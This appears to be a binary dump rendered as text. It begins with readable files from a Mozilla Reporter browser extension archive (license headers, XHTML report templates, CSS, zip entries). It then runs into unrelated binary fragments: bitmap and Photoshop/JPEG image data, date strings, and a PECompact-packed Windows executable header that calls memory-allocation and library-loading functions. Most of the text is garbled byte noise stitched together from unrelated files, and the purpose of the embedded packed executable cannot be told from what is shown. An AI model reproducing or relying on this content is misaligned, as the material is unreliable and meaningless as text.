- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
